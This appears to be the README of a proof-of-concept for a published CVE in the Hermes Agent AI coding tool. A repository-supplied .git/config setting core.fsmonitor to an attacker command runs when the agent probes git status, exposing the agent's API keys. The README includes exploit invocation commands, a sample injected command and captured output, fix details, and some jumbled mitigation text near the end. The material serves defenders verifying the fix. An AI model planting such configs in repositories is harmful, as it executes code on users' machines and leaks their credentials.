
CVE-2026-71963 - Hermes Agent 0.18.2-0.21.0 RCE via a repository-delivered .git/config (core.fsmonitor). Stdlib-only Python, verified on real 0.21.0 with a clean negative control on the fixed build.
.git/configAffected: Hermes Agent 0.18.2 – 0.21.0
Fixed: commit f6234d0 (fix(security): close GitSpawn RCE class, GHSA-7x36-8jrh-v4pw), first released after 0.21.0
Class: CWE-78 OS command injection → RCE, no prompt shown to the user
Advisory: https://www.vulncheck.com/advisories/hermes-agent-rce-via-git-core-fsmonitor-config-injection
Hermes builds a coding-workspace snapshot while assembling the system prompt:
before any prompt, tool call, approval or trust gate it runs
git -C <session working dir> status --porcelain=2 --branch (plus
rev-parse, log) against the directory the session sits in.
Up to and including 0.21.0 those probes were spawned without stripping the repository's own configuration, so any git config key that names an execution sink is honoured:
[core]
fsmonitor = "<attacker command>"
An index refresh (git status) executes that command as the user running the
agent, with the agent's full environment — including configured provider API
keys. The same class covers core.hooksPath (e.g. a post-index-change hook),
pager, editor, and .gitattributes-scoped diff/textconv drivers.
git clone never transfers .git/config, so the delivery vector is a
repository handed over as files: a zip, a sync folder, a USB stick, an
extracted archive. Nothing appears on screen.
Precondition: the agent's working directory must be the malicious repository
(the snapshot probes that directory). In this build that is the session's
configured working directory — terminal.cwd in config.yaml or the
TERMINAL_CWD environment variable; this PoC sets both. With no configured cwd
the one-shot CLI resolves its workspace to $HOME, in which case the probes
never touch the repository.
# 1) create the malicious repository (no network, no dependencies)
python3 poc.py build --dir /tmp/cve-2026-71963/repo
# 2) run the real agent against it and assert execution
python3 poc.py exploit \
--dir /tmp/cve-2026-71963/repo \
--hermes /path/to/vulnerable/hermes \
--hermes-py /path/to/python
# 3) same run against a fixed build: nothing must execute
python3 poc.py control --dir /tmp/cve-2026-71963/repo \
--hermes /path/to/fixed/hermes --hermes-py /path/to/python
The PoC writes a scratch HERMES_HOME (working directory pinned to the repo,
model provider pointed at a built-in OpenAI-compatible mock) so a full agent
turn runs with zero API cost. The injected command writes id plus the
value of a sentinel environment variable (DEMO_API_KEY by default) into an
evidence file, which is what the assertion checks.
Vulnerable build: 0.21.0 (detached worktree of commit 413b6ba3dd, the parent
of the fix), fixed build: 0.21.2 (main). Both runs used the same repository
and the same scratch home layout.
$ python3 poc.py exploit --hermes <0.21.0>/hermes --hermes-py <venv>/python
[*] malicious repo ready: /tmp/cve-2026-71963/repo
[*] injected command : id > .../evidence.txt 2>&1; echo AGENT_ENV_KEY:$DEMO_API_KEY >> .../evidence.txt
[*] running: <venv>/python <0.21.0>/hermes -z hello
[*] HERMES_HOME=/tmp/cve-2026-71963/home-vuln working dir=/tmp/cve-2026-71963/repo
[*] agent exited rc=0 output='ok'
[*] evidence captured:
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),20(dialout),24(cdrom),... (account name scrubbed)
AGENT_ENV_KEY:DEMO-QRXAPQFB
=> PASS (command executed as the agent's user and read the agent's environment - sentinel DEMO-QRXAPQFB recovered)
$ python3 poc.py control --hermes <0.21.2>/hermes --hermes-py <venv>/python
[*] agent exited rc=0 output='ok'
=> PASS (negative control: probes ran, nothing executed)
The probes are shown to run in both builds. Instrumenting the git calls on the fixed build shows why the second one is inert:
CWD=<repo> ARGS=-C <repo> status --porcelain=2 --branch GITCFG_COUNT=10 K0=credential.helper V0= GLOBAL=/dev/null SYSTEM=/dev/null
CWD=<repo> ARGS=-C <repo> rev-parse --git-dir GITCFG_COUNT=10 ... GLOBAL=/dev/null SYSTEM=/dev/null
i.e. bounded_git_probe now spawns git under noninteractive_git_env(), which
pins core.fsmonitor=false (plus hooks/pager/editor/credential helpers) via
GIT_CONFIG_KEY_*/GIT_CONFIG_VALUE_* and points GIT_CONFIG_GLOBAL /
GIT_CONFIG_SYSTEM at /dev/null. Diff-rendering probes additionally pass
--no-ext-diff --no-textconv.
git clone https://github.com/NousResearch/hermes-agent
cd hermes-agent
git worktree add --detach ../hermes-0.21.0 413b6ba3dd # vulnerable (0.21.0)
python -m venv venv && ./venv/bin/pip install -e . # deps are compatible with main
../hermes-0.21.0/hermes --version
f6234d0)..git/config for fsmonitor, hooksPath, pager, editor,
credential.helper, and [diff "*"] command/textconv entries before
pointing an agent at them.Public CVE with a public vendor fix; this repository is an independent reproduction for defenders and for verifying the fix boundary.